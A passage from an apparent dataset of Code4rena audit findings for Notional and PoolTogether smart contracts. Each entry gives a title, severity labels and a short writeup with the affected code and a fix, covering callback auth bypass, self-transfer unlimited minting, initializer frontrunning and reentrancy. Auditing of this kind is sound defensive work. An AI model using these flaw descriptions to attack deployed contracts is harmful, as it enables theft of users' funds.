decimals for this token uint8 public constant decimals = 8; /// @notice Total number of tokens in circulation (100 million NOTE) uint256 public constant totalSupply = 10_000_0000 * 10 ** decimals; "}, {"title": "Wrong order in Approval event", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function transferFrom in nTokenERC20Proxy emits Approval event: emit Approval(msg.sender, from, newAllowance); The order of the parameters is wrong, 'msg.sender' and 'from' should be in the opposite order. This may confuse frontends or other services that consume these events from the outside. ## Recommended Mitigation Steps emit Approval(from, msg.sender, newAllowance); "}, {"title": "Cache values that are accessed more than once", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "Cache values that are accessed more than once"}, {"title": "uint is always >= 0", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle Jujic # Vulnerability details ## Impact The uint `percentBacked ` can not be negative. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/PriceCurves/ThreePieceWiseLinearPriceCurve.sol#L131 ``` uint256 percentBacked = _collateralVCBalance.mul(1e18).div(_totalVCBalance); require(percentBacked <= 1e18 && percentBacked >= 0, \"percent backed out of bounds\"); ``` ## Tools Used Remix ## Recommended Mitigation Steps You should remove the `percentBacked >= 0` from require to save some gas. "}, {"title": "Unused variables", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Unused variables"}, {"title": "lack of zero address validation in constructor", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/51", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "lack of zero address validation in constructor"}, {"title": "lack of require message", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/50", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact require message give the idea what was the cause of failure , so its the best practise to add message in require() ## Proof of Concept https://github.com/code-423n4/2021-10-ambire/blob/bc01af4df3f70d1629c4e22a72c19e6a814db70d/contracts/wallet/Zapper.sol#L218 ## Tools Used manual reveiw ## Recommended Mitigation Steps add message in require() "}, {"title": "transferOwnership should be two step process", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/49", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-08-notional-findings", "body": "transferOwnership should be two step process"}, {"title": "NotionalV1ToNotionalV2 should reject ETH transfers from others than WETH", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract NotionalV1ToNotionalV2 has an empty receive function which allows it to receive Ether. I suppose this was needed to receive ETH when withdrawing from WETH. As there is no way to send out accidentally sent ETH from this contract, I suggest adding an auth check to this receive function to only accept ETH from WETH contract. ## Recommended Mitigation Steps require(msg.sender == address(WETH), \"Not WETH\"); "}, {"title": "Check if address is a contract", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/47", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are several places that check if the address is a contract or not, e.g.: uint256 codeSize; assembly { codeSize := extcodesize(operator) } // Sanity check to ensure that operator is a contract, not an EOA require(codeSize > 0, \"Operator must be a contract\"); First of all, I want you to be aware that this check can be easily bypassed. A contract does not have source code available during construction. This means that while the constructor is running, it can make calls to other contracts, but extcodesize for its address returns zero. In your case, currently, I do not see a real problem with that as you only use it as an additional check (no critical functionality) but I have a suggestion for you to extract this check to a separate library to make it more maintainable or use a library from OpenZeppelin that exposes this function: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L26 "}, {"title": "notionalCallback returns no value", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function notionalCallback (in NotionalV1ToNotionalV2 and CompoundToNotionalV2) declares to return uint, however, no actual value is returned. ## Recommended Mitigation Steps Either remove the return declaration or return the intended value (I assume it may return a value that it gets from depositUnderlyingToken/depositAssetToken). Otherwise, it may confuse other protocols that later may want to integrate with you. "}, {"title": "notionalCallback can be tricked by anyone", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/45", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Anyone can call function notionalCallback with arbitrary params and pass the auth check. The only auth check can be easily bypassed by setting sender param to the address of this contract. It allows to choose any parameter that I want: function notionalCallback( address sender, address account, bytes calldata callbackData ) external returns (uint256) { require(sender == address(this), \"Unauthorized callback\"); ## Recommended Mitigation Steps It needs to check that msg.sender is Notional. "}, {"title": "Address.isContract with no check of returned value", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function activateNotional calls Address.isContract(...) but does not check the returned value, thus making this call pretty much useless: Address.isContract(address(notionalProxy_)); ## Recommended Mitigation Steps Wrap this in a require statement. "}, {"title": "lack of input validation of arrays", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact function migrateBorrowFromCompound( address cTokenBorrow, uint256 cTokenRepayAmount, uint16[] memory notionalV2CollateralIds, uint256[] memory notionalV2CollateralAmounts, BalanceActionWithTrades[] calldata borrowAction ) ; if the array length of notionalV2CollateralId , notionalV2CollateralAmounts and borrowAction is not equal it can lead to an error ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/4b51b0de2b448e4d36809781c097c7bc373312e9/contracts/external/adapters/CompoundToNotionalV2.sol#L24 ## Tools Used manual review ## Recommended Mitigation Steps check the input array length "}, {"title": "initialize() function of router.sol can be reinitialize", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "initialize() function of router.sol can be reinitialize"}, {"title": "unchecked return value from isContract()", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/41", "labels": ["bug", "duplicate", "1 (Low Risk)", "disagree with severity"], "target": "2021-08-notional-findings", "body": "unchecked return value from isContract()"}, {"title": "use of floating pragma", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/40", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-08-notional-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. ## Proof of Concept most of the contract use floating pragma ## Tools Used manual review ## Recommended Mitigation Steps use fixed pragma "}, {"title": "Insufficient validation of rate value", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/39", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-08-notional-findings", "body": "Insufficient validation of rate value"}, {"title": "Use of transfer() instead of call() to send eth", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "Use of transfer() instead of call() to send eth"}, {"title": "Erc20 Race condition", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "Erc20 Race condition"}, {"title": " Incorrect event parameters in transferFrom function ", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/36", "labels": ["bug", "duplicate", "1 (Low Risk)", "disagree with severity"], "target": "2021-08-notional-findings", "body": " Incorrect event parameters in transferFrom function "}, {"title": "proposal get defeated even if forVotes == againstVotes in GovernorAlpha.sol", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact proposal get defeated even if forVotes == againstVotes during the voting which impact the given proposals. Instead of this condition forVotes <= againstVotes, it should be forVotes < againstVotes ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/4b51b0de2b448e4d36809781c097c7bc373312e9/contracts/external/governance/GovernorAlpha.sol#L389 ## Tools Used manual review ## Recommended Mitigation Steps change the condition for determining the states "}, {"title": "SHOULD CHECK RETURN DATA FROM CHAINLINK AGGREGATORS", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/34", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle defsec # Vulnerability details ## Impact The latestRoundData function in the contract PriceFeed.sol fetches the asset price from a Chainlink aggregator using the latestRoundData function. However, there are no checks on roundID. Stale prices could put funds at risk. According to Chainlink's documentation, This function does not error if no answer has been reached but returns 0, causing an incorrect price fed to the PriceOracle. The external Chainlink oracle, which provides index price information to the system, introduces risk inherent to any dependency on third-party data sources. For example, the oracle could fall behind or otherwise fail to be maintained, resulting in outdated data being fed to the index price calculations of the liquidity. Example Medium Issue : https://github.com/code-423n4/2021-08-notional-findings/issues/18 ## Proof of Concept 1. Navigate to the following contract. \"https://github.com/code-423n4/2021-12-yetifinance/blob/1da782328ce4067f9654c3594a34014b0329130a/packages/contracts/contracts/PriceFeed.sol#L578\" 2. Only the following checks are implemented. ``` if (!_response.success) {return true;} // Check for an invalid roundId that is 0 if (_response.roundId == 0) {return true;} // Check for an invalid timeStamp that is 0, or in the future if (_response.timestamp == 0 || _response.timestamp > block.timestamp) {return true;} // Check for non-positive price if (_response.answer <= 0) {return true;} ``` ## Tools Used Manual Review ## Recommended Mitigation Steps Consider to add checks on the return data with proper revert messages if the price is stale or the round is incomplete, for example: ``` (uint80 roundID, int256 price, , uint256 timeStamp, uint80 answeredInRound) = ETH_CHAINLINK.latestRoundData(); require(price > 0, \"Chainlink price <= 0\"); require(answeredInRound >= roundID, \"...\"); require(timeStamp != 0, \"...\"); ``` "}, {"title": "proRataYears is sometimes 0.", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/33", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "proRataYears is sometimes 0."}, {"title": "Settle Portfolio state could be griefed.", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/32", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Settle Portfolio state could be griefed."}, {"title": "Consider using a solidity version >= 0.8.0", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/31", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Consider using a solidity version >= 0.8.0"}, {"title": "Some TradingActions do not have frontrunning protections", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "Some TradingActions do not have frontrunning protections"}, {"title": "No checks on target variable", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/29", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle tensors # Vulnerability details ## Impact Lack of checks on target could lead to loss of funds. ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/4b51b0de2b448e4d36809781c097c7bc373312e9/contracts/external/governance/Reservoir.sol#L50 ## Recommended Mitigation Steps Require that target is non-zero. "}, {"title": "batchBalanceAction could make multiple deposits with the same msg.value?", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/28", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "batchBalanceAction could make multiple deposits with the same msg.value?"}, {"title": "Recommend adding a nonReentrant modifier to external functions", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/27", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Recommend adding a nonReentrant modifier to external functions"}, {"title": "Add buffer, haircut and liquidation discount checks.", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/26", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Add buffer, haircut and liquidation discount checks."}, {"title": "ERC1155 has reentrancy possibilities.", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/25", "labels": ["bug", "duplicate", "1 (Low Risk)", "disagree with severity"], "target": "2021-08-notional-findings", "body": "ERC1155 has reentrancy possibilities."}, {"title": "Can't call external functions internally ", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/24", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Can't call external functions internally "}, {"title": "Gas savings: variables can all be a multiple of each other", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/23", "labels": ["bug", "invalid", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Gas savings: variables can all be a multiple of each other"}, {"title": "Idiosyncratic fCash valuation is incorrect", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/22", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Idiosyncratic fCash valuation is incorrect"}, {"title": "Can a small order change the lastImpliedRate significantly?", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/21", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Can a small order change the lastImpliedRate significantly?"}, {"title": "Attackers can force liquidations by borrowing large amounts of an asset.", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "Attackers can force liquidations by borrowing large amounts of an asset."}, {"title": "Time window must be chosen carefully", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/19", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Time window must be chosen carefully"}, {"title": ".latestRoundData() does not update the oracle - ExchangeRate.sol", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/18", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-08-notional-findings", "body": ".latestRoundData() does not update the oracle - ExchangeRate.sol"}, {"title": "Consider deploying on a sidechain or an L2?", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/16", "labels": ["bug", "invalid", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Consider deploying on a sidechain or an L2?"}, {"title": "TokenHandler.sol, L174 - .transfer is bad practice", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/15", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-08-notional-findings", "body": "TokenHandler.sol, L174 - .transfer is bad practice"}, {"title": "Possible reentrancy in balanceOf, decimals, mint", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/14", "labels": ["bug", "duplicate", "invalid", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle tensors # Vulnerability details ## Impact Registering tokens that aren't properly vetted can lead to a loss of funds if the token has callbacks. CREAM finance got hacked in a similar way because the ampleforth token had a callback in the transfer method that wasn't noticed when they vetted it. ## Proof of Concept For example, the redeem function is vulnerable to such a reentrancy in the balanceOf method, since address balances aren't updated before the token call. https://github.com/code-423n4/2021-08-notional/blob/4b51b0de2b448e4d36809781c097c7bc373312e9/contracts/internal/balances/TokenHandler.sol#L131 ## Recommended Mitigation Steps Either: - Add nonreentrant modifiers - Update all storage variables before making outside calls with the token - Put steps in place for devs to properly vet tokens. "}, {"title": "Gas optimization: Can put require and variable declaration inside the if statement.", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "Gas optimization: Can put require and variable declaration inside the if statement."}, {"title": "Flipped boolean or confusing notation on TokenHandler.sol", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/12", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Flipped boolean or confusing notation on TokenHandler.sol"}, {"title": "Can initiate the same token multiple times with different currency IDs", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/11", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Can initiate the same token multiple times with different currency IDs"}, {"title": "Reentrancy Bug in `TimelockController.sol`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/10", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-08-notional-findings", "body": "Reentrancy Bug in `TimelockController.sol`"}, {"title": "Gas optimization on _INT256_MIN ", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Gas optimization on _INT256_MIN "}, {"title": "unsafe cast from int to uint can lead to incentive abuse", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "unsafe cast from int to uint can lead to incentive abuse"}, {"title": "DOS by Frontrunning NoteERC20 `initialize()` Function", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/7", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `scripts/` folder outlines a number of deployment scripts used by the Notional team. Some of the contracts deployed utilise the ERC1967 upgradeable proxy standard. This standard involves first deploying an implementation contract and later a proxy contract which uses the implementation contract as its logic. When users make calls to the proxy contract, the proxy contract will delegate call to the underlying implementation contract. `NoteERC20.sol` and `Router.sol` both implement an `initialize()` function which aims to replace the role of the `constructor()` when deploying proxy contracts. It is important that these proxy contracts are deployed and initialized in the same transaction to avoid any malicious frontrunning. However, `scripts/deployment.py` does not follow this pattern when deploying `NoteERC20.sol`'s proxy contract. As a result, a malicious attacker could monitor the Ethereum blockchain for bytecode that matches the `NoteERC20` contract and frontrun the `initialize()` transaction to gain ownership of the contract. This can be repeated as a Denial Of Service (DOS) type of attack, effectively preventing Notional's contract deployment, leading to unrecoverable gas expenses. ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/main/scripts/deployment.py#L44-L60 https://github.com/code-423n4/2021-08-notional/blob/main/scripts/mainnet/deploy_governance.py#L71-L105 ## Tools Used Manual code review ## Recommended Mitigation Steps As the `GovernanceAlpha.sol` and `NoteERC20.sol` are co-dependent contracts in terms of deployment, it won't be possible to deploy the governance contract before deploying and initializing the token contract. Therefore, it would be worthwhile to ensure the `NoteERC20.sol` proxy contract is deployed and initialized in the same transaction, or ensure the `initialize()` function is callable only by the deployer of the `NoteERC20.sol` contract. This could be set in the proxy contracts `constructor()`. "}, {"title": "_transfer what happens if sender==recipient", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/6", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _transfer of nTokenAction.sol uses temporary variables and updates the sender and recipient separately. This is a dangerous constructions because the update of the recipient could overwrite the update of the sender. This has led to several hacks at other comparable contracts ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/actions/nTokenAction.sol ```JS function _transfer(uint256 currencyId,address sender,address recipient, uint256 amount) internal returns (bool) { ... senderBalance.netNTokenTransfer = amountInt.neg(); recipientBalance.netNTokenTransfer = amountInt; senderBalance.finalize(sender, senderContext, false); recipientBalance.finalize(recipient, recipientContext, false); senderContext.setAccountContext(sender); recipientContext.setAccountContext(recipient); ... ``` ## Tools Used ## Recommended Mitigation Steps Double check what happens when sender==recipient Add checks to make sure (sender!=recipient) because that usually isn't useful anyway. "}, {"title": "Use pragma abicoder v2", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The code contains \"pragma experimental ABIEncoderV2;\" In the later Solidity versions it is no longer necessary to use the \"experimental\" version. Using experimental constructions is not recommended for production code. See: https://docs.soliditylang.org/en/v0.8.7/layout-of-source-files.html#abiencoderv2 ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/Router.sol ```JS pragma experimental ABIEncoderV2; ``` ## Tools Used ## Recommended Mitigation Steps Replace pragma experimental ABIEncoderV2; with pragma abicoder v2; And make sure you use at least solidity version 0.7.5 "}, {"title": "Double check for \"birthday\" collision", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function getRouterImplementation of Router.sol checks the selectors of functions and calls the appropriate function. Selectors are only 4 bytes long so there is a theoretical probability of a collision (e.g. two functions having the same selector). This is comparable to the \"birthday attack\" : https://en.wikipedia.org/wiki/Birthday_attack The probability of a collision when you have 93 different functions is 10^\u22126. Due to the structure of the Router.sol, the solidity compiler does not prevent collisions ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/Router.sol#L97 ```JS function getRouterImplementation(bytes4 sig) public view returns (address) { if ( sig == NotionalProxy.batchBalanceAction.selector || sig == NotionalProxy.batchBalanceAndTradeAction.selector || ... ``` ## Tools Used ## Recommended Mitigation Steps Double check (perhaps via a continuous integration script / github workflow), that there are no collisions of the selectors. "}, {"title": "executing instruction outside code can lead to failing transfer", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/3", "labels": ["bug", "invalid", "3 (High Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "executing instruction outside code can lead to failing transfer"}, {"title": "Lack of address Validation ", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/2", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2021-08-notional-findings", "body": "Lack of address Validation "}, {"title": "Self transfer can lead to unlimited mint", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/1", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle Omik # Vulnerability details ## Impact The implementation of the transfer function in the https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/actions/nTokenAction.sol is the different from the usual erc20 token transfer function, this happen because it count the incentive that the user get, but the with self tranfer it can lead to unlimited mint, because https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/actions/nTokenAction.sol#L278 it makes the amount to negative, but in the https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/actions/nTokenAction.sol#L279 it return the value to amount that not negative, so in the https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/actions/nTokenAction.sol#L281-282 it finalize the positive value only since the negative value is change to the positive value, you can interact this transfer function through https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/adapters/nTokenERC20Proxy.sol ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Tools Used Manual ## Recommended Mitigation Steps add (sender != recipient) "}, {"title": "Possible enhancements to supply/redeem full balance", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Consider adding functions in SwappableYieldSource to supply/redeem the whole balance of the user, so users will not need to pass an exact amount in case they want to fully join/exit the pool. Also, you can consider joining the BoostedVault for some extra rewards, however, I think then funds will need to be locked for some time for the rewards to start accruing. "}, {"title": "Validation", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function supplyTokenTo should check that mAssetAmount and creditsIssued > 0 and to != address(0) or if empty to address is provided, it can replace it with msg.sender to prevent potential burn of funds. function redeemToken should check that mAssetAmount and creditsBurned > 0. function transferERC20 should similarly validate erc20Token, to and amount parameters. function _mintShares requires that shares > 0, while _burnShares lacks such requirement. "}, {"title": "Retrieve stuck tokens from MStableYieldSource", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Tokens sent directly to the MStableYieldSource will be stuck forever. Consider adding a function that allows an admin to retrieve stuck tokens: * Balance of mAsset - total deposited amount of mAsset; * Similar with credit balances as credits are issued as a separate erc20 token. * All the other tokens. "}, {"title": "approveMax in the constructor", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/72", "labels": ["bug", "0 (Non-critical)", "mStableYieldSource", "sponsor disputed"], "target": "2021-07-pooltogether-findings", "body": "approveMax in the constructor"}, {"title": "Incorrect comment about memory", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/69", "labels": ["bug", "0 (Non-critical)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Incorrect comment [Context](https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L47) ``` diff modified contracts/MStableYieldSource.sol @@ -44,7 +44,7 @@ contract MStableYieldSource is IYieldSource, ReentrancyGuard { constructor(ISavingsContractV2 _savings) ReentrancyGuard() { // As immutable storage variables can not be accessed in the constructor, - // create in-memory variables that can be used instead. + // create in-stack variables that can be used instead. IERC20 mAssetMemory = IERC20(_savings.underlying()); // infinite approve Savings Contract to transfer mAssets from this contract ``` The comment and therefore the variable name aren't accurate. The value would be in stack, and not memory. However, this doesn't affect the code in any way. "}, {"title": "[Optimization] Use 0.8.4 in MStableYieldSource.sol", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Use 0.8.4 The version 0.8.4 includes an important low level inliner that can save gas. Upgrading `MStableYieldSource.sol` from 0.8.2 to 0.8.4 should improve gas. "}, {"title": "Gas: swapYieldSource", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `SwappableYieldSource.swapYieldSource` function receives a `_newYieldSource` as a parameter and reads a `_currentYieldSource` from storage. A single storage read should therefore be enough for the entire function and sub-calls. However, the `_transferFunds` function reads the new yield source from storage again, performing a second storage read. This can be optimized by `_transferFunds` taking an `oldYieldSource` and `newYieldSource` as parameters instead. "}, {"title": "`redeemToken` can fail for certain tokens", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/61", "labels": ["bug", "3 (High Risk)", "SwappableYieldSource"], "target": "2021-07-pooltogether-findings", "body": "`redeemToken` can fail for certain tokens"}, {"title": "`_requireYieldSource` does not check return value", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle cmichel # Vulnerability details The `_requireYieldSource` function performs a low-level status code and parses the return data even if the call failed as it does not check the first return value (`success`). It could be the case that non-zero data is returned even though the call failed, and the function would return `true`. Check the return value or perform a high-level call using the `_yieldSource` interface. "}, {"title": "Declaring functions as `external` to save gas", "html_url": "https://github.com/code-423n4/2021-07-pooltogether-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "mStableYieldSource", "SwappableYieldSource", "sponsor confirmed"], "target": "2021-07-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact In general, if not called by the contract itself, public functions can be declared as `external` to save gas. ## Proof of Concept Referenced code: [MStableYieldSource.sol#L61](https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L61) [MStableYieldSource.sol#L69](https://github.com/pooltogether/pooltogether-mstable/blob/0bcbd363936fadf5830e9c48392415695896ddb5/contracts/yield-source/MStableYieldSource.sol#L69) [SwappableYieldSource.sol#L67](https://github.com/pooltogether/swappable-yield-source/blob/89cf66a3e3f8df24a082e1cd0a0e80d08953049c/contracts/SwappableYieldSource.sol#L67) 